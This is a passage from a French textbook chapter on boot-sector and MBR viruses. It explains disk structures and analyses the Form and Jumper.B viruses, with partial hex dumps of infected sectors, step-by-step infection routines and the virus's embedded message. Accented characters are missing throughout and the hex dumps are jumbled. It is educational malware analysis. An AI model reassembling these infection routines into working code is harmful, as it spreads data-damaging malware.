Un virus systme cherche avoir la main, au plus tt, sur les ressources de la machine. Combattons tout dabord une ide reue : il ne peut simplmenter dans lenvironnement du BIOS : Une fois programme, il ny a pas de possibilit de modifier la mmoire morte (ROM). Si elle contient un programme malveillant, il sagira dun Cheval de Troie ou dune bombe logique introduite lors de sa fabrication. Il est possible de modifier le contenu dune flash EPROM mais limplantation dun virus systme viable semble difficile, voire impossible. La mmoire CMOS ne contient pas de code excutable et ne peut pas contenir de virus. Par contre, un virus peut trs bien en altrer son contenu. Il reste donc : le secteur des partitions (MBR, Master Boot Record) pour les disques durs, le secteur de dmarrage (Boot Sector) pour les disques durs et les disquettes. Pour sapproprier lun de ces deux secteurs, le virus peut tre introduit via un programme spcique (implanteur ou virus multipartite). Les auteurs ont cependant immdiatement compris quil tait beaucoup plus simple de concevoir un virus directement sous la forme dun secteur de dmarrage de disquette. Le principe de fonctionnement est le suivant : le virus est prsent dans le secteur de dmarrage dune disquette, il contamine le PC lorsque le BIOS excute le code, il dplace ou crase le code original du BOOT ou du MBR du disque dur, il remplace ce code par lui-mme, il sauvegarde ventuellement le code excdant (code complmentaire du virus) dans dautres secteurs, libres ou occups, ds lors et chaque nouveau dmarrage, il sera rsident en mmoire et capable dinfecter dautres disquettes sur un simple accs, pour peu quelles ne soient pas protges en criture. La contamination dun disque dur est donc toujours la consquence dune tentative volontaire ou involontaire de dmarrage du micro-ordinateur avec une disquette contamine. Que de fois na ton pas oubli une disquette de donne dans le lecteur de son ordinateur pour sen trouver drang au dmarrage suivant !

4.3 Attaque du boot

137

4.3 ATTAQUE DU BOOT


4.3.1 Secteur damorce dune disquette
Voici une zone damorce de disquette au format hexadcimal tel quil est vu par DISKEDIT (Norton Utilities). Ce secteur se situe en cylindre 0, tte 0, secteur 1. Il sagit du premier secteur physique de la disquette. Cest aussi le secteur logique 0 (premier secteur logique).
*********** Zone amorce ***********
Sect. 0 00000000: 00000010: 00000020: 00000030: 00000040: 00000050: 00000060: 00000070: 00000080: 00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170: 00000180: 00000190: 000001A0: 000001B0: 000001C0: 000001D0: 000001E0: 000001F0: EB 02 00 4D 8E 38 66 02 66 60 C3 00 61 FB BB E1 3B 3D 06 66 4A 4A D2 C0 8B 5E B0 4C 2E 65 75 00 3C E0 00 45 D1 4E A1 88 16 89 48 72 74 7D 07 CD 00 7D 96 03 4A 52 F7 CC F4 0B 4E 44 20 7A 72 00 90 00 00 20 BC 24 1C 56 03 46 F7 39 32 B4 00 16 72 C7 7D 46 8A 50 F6 02 8A 49 54 52 64 20 20 00 4D 40 00 20 F0 7D 7C 02 46 FC F3 26 4E 7D CD CD E8 46 CB 1C 46 06 91 0A 56 75 4C 20 69 75 72 00 53 0B 00 20 7B 24 26 80 1C 89 01 38 74 8B 10 19 5B F4 EA 66 0D 53 F7 CC 24 06 44 6D 73 6E 65 00 44 F0 00 20 8E 8B 66 C3 13 56 46 2D 09 F0 EB 26 8A 29 03 8B 32 6A F6 B8 CD F8 52 61 71 65 64 00 4F 09 29 46 D9 C1 3B 10 56 FE FC 74 83 AC EF 8B 56 7D 00 D0 E4 01 42 01 13 C3 20 6E 75 20 82 00 53 00 FE 41 B8 99 07 73 1E B8 11 17 C7 98 A0 55 24 8C 00 66 F7 6A 87 02 61 41 20 71 65 74 6D 00 35 12 4B 54 00 E8 26 EB 03 20 4E 60 20 40 FD 1A BE D9 20 C1 E2 10 CA 80 61 BB 20 75 FF 6F 61 00 2E 00 A7 31 20 3C 8A 33 46 00 FE B1 3B 74 7D 52 0B 89 0F EA 03 91 F7 7E 72 00 20 65 0D 75 72 00 30 02 EC 32 8E 01 57 C9 0E F7 61 0B FB 0C EB B0 7C 4E B6 10 46 8B 76 02 0B 00 20 FF 0A 63 72 00 00 00 4E 20 C0 72 FC 8A 13 E6 BF BE 72 48 E6 01 8B F2 C8 EB FC 46 1A 0E 40 60 20 0D 41 68 65 AC 02 00 4F 20 FC 1C 75 46 D1 8B 00 A1 E6 74 A0 BB FC 89 66 5E 13 18 8A 75 75 66 0D 0A 70 65 72 BB 01 00 20 20 BD 83 06 10 8B 5E 00 7D EB 13 FC 00 C7 4E 8B 0F 56 96 F2 04 01 6A 0A 45 70 20 0D C9 01 00 4E 33 00 EB 80 98 76 0B E8 F3 DC B4 7D 00 46 F6 46 B6 FE 92 8A B4 42 00 4E 72 75 70 0A 55 00 00 41 C9 7C 3A CA F7 11 03 E6 A6 A0 0E EB E8 F0 C6 F8 C8 EB 33 E8 42 03 EB 54 72 79 6F 00 AA .<.MSDOS5.0..... ...@............ ......).K..NO NA ME FAT12 3. ....{.... .....| 8N$}$....<.r...: f..|&f;.&.W.u... ..V....s.3..F... f..F..V..F....v. `.F..V.. ....^.. .H...F..N.a..... .r9&8-t.`....}.. at2Nt... ;.r.... .}.}....@t.Ht... .........}....}. .....&.U.R...... ;.r.[.V$..|...F. =}.F.)}...N..N.. ..}..... ...f.F. f.F.f..f....^... JJ.F.2....F..V.. JRP.Sj.j...F...3 ......B...v..... .........~..u..B ...V$..aar.@u.B. ^.Iu...A...`fj.. .NTLDR ..NT LDR manque...Err . disque...Appuy ez une touche po ur red.marrer... ..............U.

Dunod La photocopie non autorise est un dlit

Figure 4.5 Zone damorce dune disquette 1,44 Mo (format hexa)

Il est possible de visualiser par vous-mme ces donnes. En utilisant le programme DEBUG et aprs avoir insr la disquette dans le lecteur, il suft de taper :
DEBUG -L 100 0 0 1 -D 100

138

Chapitre 4. Les virus systme

Pour sortir du programme, il faut taper Q (pour Quitter) linvite symbolise par le tiret :
-Q

Les trois premiers octets reprsentent une instruction de saut vers le point de commencement effectif du programme. Ce peut tre une instruction de saut normal (sur trois octets) ou, comme ici, un short jump qui ne ncessite que deux octets ; le troisime tant un nop qui veut dire NO OPERATION et correspond 90h en hexadcimal. Les 43 octets suivants correspondent un bloc de donnes que DISKEDIT nous permet de comprendre au travers de son visionneur de zone damorce. Ce bloc porte le nom de BPB (Bloc de Paramtres Bios).
*********** Zone amorce *********** Sect. 0 ID OEM: Octets par secteur: Secteurs par groupe: Secteurs rservs du dbut: Exemplaires de la table FAT: Entres du rpertoire Racine: Nombre de secteurs du disque: Octet descripteur du Media: Secteurs par FAT: Secteurs par piste: Ttes: Secteurs cachs spciaux: Grand total du nombre de secteurs: Numro physique du disque: Signature de Zone Amorce tendue: Numro de Srie du Volume: Nom du Volume: ID Systme fichiers: MSDOS5.0 512 1 1 2 224 2880 F0 Hexa 9 18 2 0 (Inutilis) 0 29 Hexa ECA74BFE Hexa NO NAME FAT12

Figure 4.6 Zone damorce dune disquette 1,44 Mo (format visionneur)

Ces donnes sont ncessaires pour les diffrentes fonctions BIOS. Le DOS les utilisent galement dans des buts varis. Certains virus les modieront, mais la structure de la zone sera prserve. Vient ensuite le programme damorce proprement dit. Il se termine par une zone de texte qui sera afche en cas dchec de dmarrage. Ce code, prsent sur la disquette, est le premier tre excut par le BIOS depuis ce support. Les deux derniers octets sont la signature du secteur (55h AAh).

4.3 Attaque du boot

139

4.3.2 Secteur damorce dun disque dur


Comme nous lavons dj signal, un disque dur renferme 2 types de secteur damorce. Cette dualit est ncessaire car un mme disque peut contenir plusieurs partitions, chacune dentre elle ayant son secteur damorce. Vue au format hexadcimal, la structure de cette zone (cylindre 0, tte 1, secteur 1 pour la premire partition) est similaire celle dune disquette. Ce secteur est le premier secteur logique de sa partition. An den permettre la gestion par le BIOS et le systme dexploitation, un secteur dit des partitions est galement prsent. Situ dans une zone extrieure lensemble des partitions (cylindre 0, tte 0, secteur 1), sa structure sera dveloppe plus avant dans ce chapitre.
*********** Zone amorce *********** Sect. 0 ID OEM: MSWIN4.1 Octets par secteur: 512 Secteurs par groupe: 64 Secteurs rservs du dbut: 1 Exemplaires de la table FAT: 2 Entres du rpertoire Racine: 512 Nombre de secteurs du disque: (Inutilis) Octet descripteur du Media: F8 Hexa Secteurs par FAT: 256 Secteurs par piste: 63 Ttes: 128 Secteurs cachs spciaux: 63 Grand total du nombre de secteurs: 4193217 Numro physique du disque: 128 Signature de Zone Amorce tendue: 29 Hexa Numro de Srie du Volume: 413E1202 Hexa Nom du Volume: NO NAME
Figure 4.7 Zone damorce dun disque dur (format visionneur)

Dunod La photocopie non autorise est un dlit

Le bloc des paramtres BIOS (BPB) contient des donnes diffrentes de celles des disquettes. Le visionneur nous les fait dcouvrir. Parmi elles, on notera : La taille dun cluster (secteurs par groupe). Cest lespace le plus petit pouvant tre gr par le systme. Limit un secteur pour les disquettes, il varie selon la taille du disque dur. Le nombre de fichiers acceptables dans le rpertoire racine.

140

Chapitre 4. Les virus systme

Loctet descripteur de Media. Il indique le type de machine permettant de traiter le support. Parmi les codes utiliss, citons : F0h pour les disquettes 3 pouce 1/2. F8h pour les disques durs. La taille du disque et de ses FAT1. Que ce soit sur une disquette ou un disque dur, la zone programme est similaire. Sil ne cible pas le secteur de partition, cest l que le virus sinstallera. Ce code, prsent sur le disque dur, est le second tre excut par le BIOS depuis ce support (le premier tant le code de partition).

4.3.3 Structure dune disquette


La figure suivante prsente la structure dune disquette 1.44 Mo aprs un formatage standard. Durant le formatage, le DOS divise la disquette plusieurs parties logiques : La zone damorce (BOOT). La table dallocation des fichiers (FAT File Allocation Table). Le rpertoire racine (ROOT). La zone de donnes.

Dcrit prcdemment, le secteur damorage se situe dans le premier secteur physique du disque. La table dallocation des chiers (FAT) est situe aprs le secteur damorce. Elle est utilise par le DOS pour garder la trace des secteurs libres, utiliss ou endommags. Pour chaque chier, la FAT gre une sorte dindex dans lequel sont dnis et reprs tous les clusters qui le constitue. Cest une zone vitale ; si elle est endommage, les informations enregistres sur le disque risquent de devenir inaccessibles alors que les chiers sont encore intacts. Pour viter cette situation, une seconde FAT, copie conforme de la premire, est tenue jour lors de chaque modication. Chaque information enregistre dans la FAT dune disquette comporte 12 octets. Chaque champ de la FAT contient une valeur correspondant ltat dutilisation du cluster rfrenc.

1. File Allocation Table ou Table dAllocation de Fichiers. Zone ddie au systme de gestion des chiers utilis par le DOS (voir paragraphe suivant).

4.3 Attaque du boot

141

Tableau 4.2 Descriptif dune FAT12 FAT12 000h FF0h-FF6h FF7h FF8h-FFFh XXXh (autre valeur) Cluster inutilis Cluster rserv Cluster dfectueux Dernier cluster du fichier ou de rpertoire n cluster suivant du fichier ou du rpertoire Description

Avant la zone de donnes, se trouve le rpertoire racine. Quand un chier est cr sous la racine, les informations le concernant (nom, extension, date, taille etc.) sont mmorises dans des espaces ddis cet effet. Parmi ces informations, gure le numro du premier cluster attribu au chier. Si le chier a besoin de plusieurs clusters, leurs numros et squencement sont stocks dans la FAT.

Dunod La photocopie non autorise est un dlit

Figure 4.8 Structure dune disquette 1,44 Mo

4.3.4 Structure dun disque dur


Un disque dur dbute avec son secteur de partition. Il sagit du premier secteur physique du disque (Cylindre 0, Tte 0, Secteur 1). Plus en aval, se trouve la zone damorce (Cylindre 0, Tte 1, Secteur 1). Entre ces deux secteurs stratgiques, un espace reste inoccup. Il sagit de lensemble des secteurs lis conjointement au cylindre 0 et la tte 0. Viennent ensuite les FAT et le rpertoire racine selon le mme schma que pour les disquettes.

142

Chapitre 4. Les virus systme

Figure 4.9 Structure dun disque dur

la diffrence des disquettes, chaque information enregistre dans la FAT comporte 16 ou 32 bits.
Tableau 4.3 Descriptif des FAT16 et FAT32 FAT16 0000h FFF0h-FFF6h FFF7h FFF8h-FFFFh XXXXh (autre valeur) FAT32 00000000h 0FFFFFF0h-0FFFFFF6h 0FFFFFF7h 0FFFFFF8h-0FFFFFFFh 0XXXXXXXh (autre valeur) Cluster inutilis Cluster rserv Cluster dfectueux Dernier cluster du fichier ou de rpertoire n cluster suivant du fichier ou du rpertoire Description

4.3.5 Le virus Form


Form fut lun des virus les plus rpandus en Europe. Il contamine le secteur damorage des disquettes et des disques durs. Sur une disquette, le virus remplace le secteur de dmarrage habituel. Il copie la suite de son code (code complmentaire) dans le premier secteur libre quil rencontre. Dans le secteur suivant, il recopie le secteur de dmarrage original. Sur les disques durs, il investit les 2 derniers secteurs physiques du disque. En voici le fonctionnement simpli. Il sagit, ni plus ni moins, de la mise en pratique des lments thoriques jusquici exposs.

4.3 Attaque du boot

143

Dmarrage depuis une disquette infecte


1. Saut court (JUMP SHORT : EBh 53h) pour prserver la zone de donnes (BPB). 2. Initialisation de la pile et des registres de segment. 3. Diminution de la taille mmoire disponible (soustraction de 2 dans la variable BIOS situe ladresse 0:413h). Le virus se rserve la zone des 2 kilooctets suprieurs de la mmoire vive. 4. Calcul de ladresse du segment de cette zone et transfert du secteur de dmarrage infect (instruction MOVSW). 5. Empilage de ladresse ou devra se poursuivre le programme (instructions PUSH).
*********** Zone amorce ***********
Sect. 0 00000000: 00000010: 00000020: 00000030: 00000040: 00000050: 00000060: 00000070: 00000080: 00000090: 000000A0: EB 02 00 8E FE 00 52 26 F3 00 41 53 E0 00 D8 12 01 50 A1 A5 8B 00 90 00 00 C4 2E 00 07 13 06 16 BB 49 40 00 1E 00 80 B8 04 B8 4F 4C 42 0B 00 1C F0 01 C0 B1 9A 00 00 4D F0 00 00 87 FA 07 06 00 CD BE 20 09 00 88 E9 33 8E D3 50 13 41 20 00 00 16 00 C0 D8 E0 BB 72 00 33 12 00 FD F0 8E 33 8E FE FE BF 2E 00 00 01 07 D0 F6 C0 01 CB 46 33 02 FA 0A 01 BC 26 33 B8 0E 03 00 00 33 D2 00 FE 83 FF 01 1F E8 02 00 ED 79 00 7B 2E B9 02 E8 C7 01 00 B8 08 06 FB 13 FF 8B 2F 00 01 00 C0 89 01 1E 04 00 0E 00 B4 00 00 07 01 00 56 02 FC 4D E8 04 .S.IBM 3.3..... ...@............ ...........3.... ............y... ................ ......3.....{..V RP......3.&..... &.........3..... ......P........M ...O...r..../.. A..L..A..F......

Figure 4.10 Dbut de la zone damorce infecte par Form.A

Dunod La photocopie non autorise est un dlit

6. Lecture du code complmentaire du virus et chargement la suite du code prcdent (Int 13h, fonction02h). 7. Saut dans la partie recopie (instruction RETF) pour poursuivre lexcution du code viral. 8. Lecture et chargement du secteur de dmarrage sain son adresse habituelle (Int 13h, fonction 02h). 9. Routine de contamination du disque dur. Elle sera dtaille au paragraphe suivant. Si elle choue ou si le disque dur est dj contamin, le processus saute immdiatement ltape suivante. 10. Dtournement de linterruption 13h pour faire pointer le vecteur sur le code viral ddi linfection des disquettes. 11. Lecture de la date systme. Selon la valeur lue, le virus dtournera ou non, linterruption 09h (IRQ1 : clavier) pour quelle pointe sur la routine virale ddie aux dommages (il ne sagit ici que de perturbation). 12. Fin du processus. Excution du BOOT sain prcdemment charg en mmoire.

144

Chapitre 4. Les virus systme

En gure 4.10, lune des chanes hexadcimales caractristique du virus Form est note en gras. Sans anti-virus, elle pourrait permettre la dtection de cette variante.

Contamination du disque dur


Voici maintenant le dtail de la prcdente tape 9 : 1. Lecture des paramtres de lunit de disque dur pour en connatre sa taille (Int 13h, fonction 08h). 2. Lecture du secteur de partition du disque dur pour connatre la partition active (Int 13h, fonction 02h). 3. Lecture du secteur de dmarrage de cette partition (Int 13h, fonction 02h). Le processus se termine sans contamination si : le disque est dj contamin, la taille du secteur est diffrente de 512 octets, 4. criture du secteur de dmarrage sain dans le dernier secteur physique du disque dur (Int 13h, fonction 03h), 5. criture du code complmentaire du virus dans lavant dernier secteur physique du disque dur (Int 13h, fonction 03h), 6. Recopie du BPB du secteur de dmarrage de la partition active lemplacement qui lui est rserv dans le code du virus, 7. criture de la signature de fin de secteur (55h AAh) lemplacement qui lui est rserv dans le code du virus, 8. criture des 512 premiers octets du code du virus en lieu et place du secteur de dmarrage de la partition active (Int 13h, fonction 03h).

Figure 4.11 Synoptique de linfection dun disque dur par le virus FORM.A

Contamination des disquettes


Le vecteur de linterruption 13h pointe sur le code du virus. Cest celui ci qui sera excut avant quil ne redonne la main au code lgitime ddi cette interruption :

4.3 Attaque du boot

145

1. Analyse des paramtres lis lappel de linterruption. Le processus dinfection se poursuit si : la cible est une disquette, la fonction appele est la lecture dun secteur (Int13h, fonction 02h), le cylindre cibl est le cylindre 0, 2. Lecture du secteur de dmarrage de la disquette (Int 13h, fonction 02h). Le processus se termine sans contamination si : le disque est dj contamin, la taille du secteur est diffrente de 512 octets, 3. Localisation et lecture de la premire FAT (Int 13h, fonction 02h). Recherche des 2 premiers secteurs libres qui seront dclars dfectueux (Int 13h, fonction 03h). 4. Mise jour de la seconde FAT (Int 13h, fonction 02h & 03h). 5. Lecture du secteur de dmarrage de la disquette (Int 13h, fonction 02h). 6. criture de ce secteur vers le second secteur dsign mauvais (Int 13h, fonction 03h). 7. criture du code complmentaire du virus dans le premier secteur dsign mauvais (Int 13h, fonction 03h). 8. Recopie du BPB du secteur de dmarrage de la disquette lemplacement qui lui est rserv dans le code du virus. 9. criture de la signature de fin de secteur (55h AAh) lemplacement qui lui est rserv dans le code du virus. 10.criture des 512 premiers octets du code du virus en lieu et place du secteur de dmarrage de la disquette (Int 13h, fonction 02h).

Dunod La photocopie non autorise est un dlit

Figure 4.12 Synoptique de linfection dune disquette par le virus FORM.A

146

Chapitre 4. Les virus systme

Perturbation produite par le virus Form


Le 24 de chaque mois, linterruption clavier (INT 09h) est dtourne. Ceci entrane lmission de bruits de cliquetis chaque fois quune touche est active. Un message, jamais afch, est prsent en n du secteur complmentaire du virus.
00000170: 00000180: 00000190: 000001A0: 000001B0: 000001C0: 000001D0: 000001E0: 000001F0: 54 65 6F 20 78 64 6E 6E 65 68 6E 20 72 74 65 27 67 2E 65 64 65 65 2E 73 74 73 20 73 76 61 46 74 20 20 46 20 65 64 4F 72 70 67 4F 67 72 69 52 6F 61 6F 52 72 79 6E 4D 79 6E 20 The FOR M-Virus sends gr eetings to every one whos readin g this text.FORM doesnt destroy data! Dont pan ic! Fuckings go to Corinne

4D 65 6F 67 20 20 69 74

2D 65 6E 20 64 64 63 6F

56 74 65 74 6F 61 21 20

69 69 20 68 65 74 20 43

72 6E 77 69 73 61 46 6F

75 67 68 73 6E 21 75 72

73 73 6F 20 27 20 63 69

20 20 27 74 74 44 6B 6E

73 74 73 65 20 6F 69 6E

Figure 4.13 Message contenu dans le virus Form.A

4.4 ATTAQUE DU MBR


4.4.1 Structure du secteur des partitions
Alors que la zone damorce est le premier secteur logique dun disque, le secteur des partitions se situe en amont, dans le premier secteur physique du disque dur. Sa structure hexadcimale est particulire. Elle aussi contient un programme et une zone de donnes. Le secteur dbute par le code de partition. Il sagit du premier programme situ sur le disque dur et excut par le BIOS lors du dmarrage de la machine. Sa taille ne doit pas dpasser 444 octets car la table des partitions dbute systmatiquement loffset1 1BEh. Dans cette table, chaque partition est dcrite par une structure de 16 octets. Elle noffre de place que pour quatre entres, ce qui limite le nombre de partitions par disque quatre.

1. Nombre doctets sauter depuis le dbut dune zone de code (ici le secteur de partition) pour atteindre linformation recherch (ici la table des partitions).

4.4 Attaque du MBR

147

******************* Table de Partitions *******************


Secteur Physique: Cyl 00000000: FA 33 C0 8E 00000010: BF 00 06 B9 00000020: B3 04 80 3C 00000030: CB 75 EF CD 00000040: CB 74 1A 80 00000050: 56 BB 07 00 00000060: BB 00 7C B8 00000070: 4F 75 ED BE 00000080: 55 AA 75 C7 00000090: 20 64 65 20 000000A0: 6E 20 76 61 000000B0: 61 75 20 63 000000C0: 67 65 6D 65 000000D0: 65 20 64 27 000000E0: 00 53 79 73 000000F0: 69 74 61 74 00000100: 00 00 00 00 00000110: 00 00 00 00 00000120: 00 00 00 00 00000130: 00 00 00 00 00000140: 00 00 00 00 00000150: 00 00 00 00 00000160: 00 00 00 00 00000170: 00 00 00 00 00000180: 00 00 00 00 00000190: 00 00 00 00 000001A0: 00 00 00 00 000001B0: 00 00 00 00 000001C0: 01 00 06 FE 000001D0: 00 00 00 00 000001E0: 00 00 00 00 000001F0: 00 00 00 00 0 D0 00 80 18 3C B4 01 A9 8B 70 6C 6F 6E 65 74 69 00 00 00 00 00 00 00 00 00 00 00 00 7F 00 00 00 Tte 0 Secteur BC 00 7C 8B 01 F2 A5 EA 74 0E 80 3C 8B 14 8B 4C 00 74 F4 BE 0E CD 10 5E 02 57 CD 13 06 EB D3 BE F5 EA 00 7C 61 72 74 69 69 64 65 00 75 72 73 20 74 20 64 75 78 70 6C 6F 8A 6D 65 20 6F 6E 20 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 3F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1 F4 1D 00 02 8B EB 5F E1 00 74 45 64 20 69 64 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 06 75 8B 06 F0 73 06 00 69 72 75 73 74 27 73 00 00 00 00 00 00 00 00 00 00 00 00 86 00 00 00 07 00 1C EE AC EB 0C BF 54 6F 72 20 79 61 65 65 00 00 00 00 00 00 00 00 00 00 00 00 FA 00 00 00 50 00 83 83 3C FE 33 FE 61 6E 65 63 73 74 78 6E 00 00 00 00 00 00 00 00 00 00 00 00 3F 00 00 00 1F BE C6 C6 00 BF C0 7D 62 20 75 68 74 69 70 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FB BE 10 10 74 05 CD 81 6C 6E 72 61 8A 6F 6C 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 55 FC 07 FE FE 0B 00 13 3D 65 6F 20 72 6D 6E 6F 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 AA .3.....|..P.P.. ................ ...<.t..<.u..... .u......L....... .t..<.t.....<.t. V.......^....... ..|...W.._s.3... Ou...........}.= U.u.....|..Table de partition no n valide.Erreur au cours du char gement du syst.m e dexploitation .Syst.me dexplo itation absent.. ................ ................ ................ ................ ................ ................ ................ ................ ................ ................ ................ ................ .... .?.....?... ................ ................ ..............U.

Figure 4.14 Secteur de partition dun disque dur (format hexadcimal)


Dunod La photocopie non autorise est un dlit

Le secteur se termine par la signature 55h AAh.


******************* Table de Partitions *******************
Secteur Physique: Cyl 0 Tte 0 Secteur 1 +------+----+--------------------+--------------------+-----------+-----------+ |Syst.|Amo-| Position de Dbut | Position de Fin |No 1e Sect.| Nombre de | |Expl. |rce |Tte Cylindr Secteur|Tte Cylindr Secteur| physique | Secteurs | +------+----+--------------------+--------------------+-----------+-----------+ |BIGDOS| Oui| 1 0 1 | 25 260 63 | 63| 4192902| |Libre | Non| 0 0 0 | 0 0 0 | 0| 0| |Libre | Non| 0 0 0 | 0 0 0 | 0| 0| |Libre | Non| 0 0 0 | 0 0 0 | 0| 0| +------+----+--------------------+--------------------+-----------+-----------+
Figure 4.15 Secteur de partition dun disque dur (format visionneur)

148

Chapitre 4. Les virus systme

Le visionneur employ pour le secteur damorce est aussi utilisable ici. Il illustre les donnes de la table.

Figure 4.16 Synoptique de linfection dun secteur des partitions (MBR)

4.4.2 Le virus Jumper.B


Jumper.B est un virus franais, tout comme Form, il fut lun des plus rpandus dans notre pays. Il contamine le secteur damorage des disquettes et le secteur de partitions des disques durs. Sur une disquette, le virus remplace le secteur de dmarrage. Il copie la suite de son code (code complmentaire) dans un secteur dpendant du type de support infect. Pour tous les types de disquettes, sauf celles lancien format 1,2 Mo, le secteur slectionn est le dernier du rpertoire racine. Pour les disquettes 1,44 Mo, il sagit du cylindre 0, tte 1, secteur 15. Sur les disques dur, le virus utilise systmatiquement le cylindre 0, tte 0, secteur 14. Le code du virus dbute par un saut long (JUMP FAR : EAh 05h 00h C0h 07h) vers la zone mmoire o le BIOS a positionn le secteur de dmarrage lorsque la machine dmarre. Les instructions suivantes excutes sont la copie conforme de celles prsentes dans le secteur dorigine ; cest tout dabord un second saut (JUMP SHORT : EBh 37h). La zone de donnes (BPB) est prserve. Lemplacement de la table des partitions ( compter de loffset 1BEh) est galement gard intact comme il est ais de le constater en gure 4.17.

4.4 Attaque du MBR

149

*********** Zone amorce ***********


00000000: 00000010: 00000020: 00000030: 00000040: 00000050: 00000060: 00000070: 00000080: 00000090: 000000A0: 000001B0: 000001C0: 000001D0: 000001E0: 000001F0: EA 02 00 4D 7C 00 0A C4 A5 06 B8 00 0D 72 49 20 05 E0 00 45 31 90 72 06 FA 50 01 F8 0A 65 4F 20 00 00 00 20 C0 B1 0C 26 C7 CB 02 03 52 73 20 20 C0 40 00 20 8E 06 24 88 06 1E CD 00 65 73 20 53 07 0B 00 20 D0 A3 1F 26 70 53 13 01 6D 65 20 59 EB F0 00 20 89 13 75 C6 00 1E 72 FD 70 7A 20 53 37 09 29 46 DC 04 08 01 2F 07 C0 0F 6C 20 20 00 0F 00 FD 41 8E D3 B8 89 01 8B 80 00 61 74 20 00 00 12 10 54 D8 E0 ED DE 8C 4F FA 01 63 6F 53 00 00 00 6D 31 89 8E 0E E8 06 07 80 F0 65 75 59 00 01 02 08 32 C7 C0 40 36 72 8B 74 05 7A 63 53 00 00 00 4E 20 A1 A1 CD 00 00 57 05 00 20 68 4D 00 02 00 4F 20 13 6C 10 BE FB 09 B2 01 65 65 53 00 01 00 20 20 04 04 EB 70 B8 80 80 F9 74 0D 44 00 01 00 4E BB 2D 80 F8 00 93 E2 E8 75 20 0A 4F 55 00 00 41 00 02 FC 80 A5 00 80 13 65 70 00 53 AA ......7......... ...@............ ......)..m.NO NA ME FAT12 .. |1............-. ............l... .r.$u....@..... ..&.&.....6..p.. ....p./...r..... .P..S...O..W.... .....r....t..... ..............ue ..Remplacez et p ressez touche... IO SYSMSDOS SYS........U.

Figure 4.17 lments de la zone damorce dune disquette infecte par Jumper.B

Le code du virus dbute de faon habituelle. Aprs linitialisation des registres, il : Rduit la taille de la mmoire disponible pour sen rserver un espace dans la zone suprieure. Transfert son code dans lespace rserv. Saute dans la zone pour continuer lexcution. Avant lexcution du saut, le virus lit la valeur du compteur de ticks (chronomtre). En fonction de celle ci, il entrera parfois dans une boucle sans n qui remplit lcran de caractres Epsilon (EDh). Dans le cas contraire, il dtourne linterruption 1Ch et poursuit son lexcution en zone haute de la mmoire. Il charge le secteur original (BOOT ou MBR) quil avait sauvegard au moment de son infection. Vriant le type de support, il infecte le disque dur dans la mesure ou il constate quil a t lanc depuis une disquette. Pour nir, il redonne la main au secteur original. Les interruptions 13h ou 21h nont pas t dtournes. Une fois le code viral rsident en mmoire, linfection des disquettes ne peut encore avoir lieu. Le code viral est cependant appel au travers de linterruption 1Ch, cest--dire 18,2 fois par seconde. Une procdure complexe lui permet de dnir le moment opportun pour dtourner linterruption 21h sans perturber un ventuel chargement du systme dexploitation1.
1. WHALLEY Ian (avril 1995), Jumper: Jumping the Gun, Virus Bulletin, avril 1995, pp 11-12.

Dunod La photocopie non autorise est un dlit

150

Chapitre 4. Les virus systme

Jumper utilise en effet des fonctions du DOS (INT 21h) pour infecter les disquettes, au lieu des fonctions BIOS (INT 13h) utilises en gnral par les autres virus systme. Une fois dtournes, Jumper intercepte les fonctions 0Eh (slection dun disque) et 0Ah (lecture dune chane de caractres). Si ces appels sont en relation avec un vnement sur les lecteurs A: ou B: les disquettes seront infectes. Elles le seront si les deux premiers octets du premier secteur physique ne sont pas EAh 05h, cas dune disquette dj infecte.
******************* Table de Partitions *******************
00000000: 00000010: 00000020: 00000030: 00000040: 00000050: 00000060: 00000070: 00000080: 00000090: 000000A0: 000001B0: 000001C0: 000001D0: 000001E0: 000001F0: EA BF B3 CB 7C 00 0A C4 A5 06 B8 00 01 00 00 00 05 00 04 75 31 90 72 06 FA 50 01 F8 00 00 00 00 00 06 80 EF C0 B1 0C 26 C7 CB 02 03 06 00 00 00 C0 B9 3C CD 8E 06 24 88 06 1E CD 00 FE 00 00 00 07 00 80 18 D0 A3 1F 26 70 53 13 01 7F 00 00 00 EB 01 74 8B 89 13 75 C6 00 1E 72 FD 04 00 00 00 37 F2 0E 14 DC 04 08 01 2F 07 C0 0F 3F 00 00 00 0E A5 80 8B 8E D3 B8 89 01 8B 80 00 00 00 00 00 00 EA 3C 4C D8 E0 ED DE 8C 4F FA 01 00 00 00 00 80 1D 00 02 89 8E 0E E8 06 07 80 F0 00 00 00 00 00 06 75 8B C7 C0 40 36 72 8B 74 05 86 00 00 00 07 00 1C EE A1 A1 CD 00 00 57 05 00 FA 00 00 00 50 00 83 83 13 6C 10 BE FB 09 B2 01 3F 00 00 00 1F BE C6 C6 04 04 EB 70 B8 80 80 F9 00 00 00 00 FB BE 10 BB 2D 80 F8 00 93 E2 E8 80 00 00 00 55 FC 07 FE 00 02 FC 80 A5 00 80 13 01 00 00 00 AA ......7.....P.. ................ ...<.t..<.u..... .u......L....... |1............-. ............l... .r.$u....@..... ..&.&.....6..p.. ....p./...r..... .P..S...O..W.... .....r....t..... ................ .... .?.....?... ................ ................ ..............U.

Figure 4.18 lments du secteur de partitions

dun disque dur infect par Jumper.B

4.5 TECHNIQUES AVANCES


Ce chapitre pourrait se poursuivre avec de nombreux autres virus. Ils ont tous leurs particularits. Voyons simplement ici quelques points particuliers intressants.

4.5.1 Modification de la CMOS


Le dmarrage depuis une disquette saine est indispensable pour llimination dun virus systme. Afin dinterdire cet usage, le virus Exebug tente dempcher laccs au lecteur de disquette lors du dmarrage de lordinateur. Sur certaines machines, il est capable de modifier la configuration de la mmoire RAM CMOS utilise par le BIOS en indiquant une absence de lecteur de disquette.

4.5 Techniques avances

151

Forant ainsi le dmarrage sur le disque C:, il interdit lutilisation dune disquette saine, et donc dun anti-virus. La solution la mieux adapte pour restaurer la conguration ncessite datteindre le SETUP de la machine pour y ractiver le lecteur.

4.5.2 Furtivit
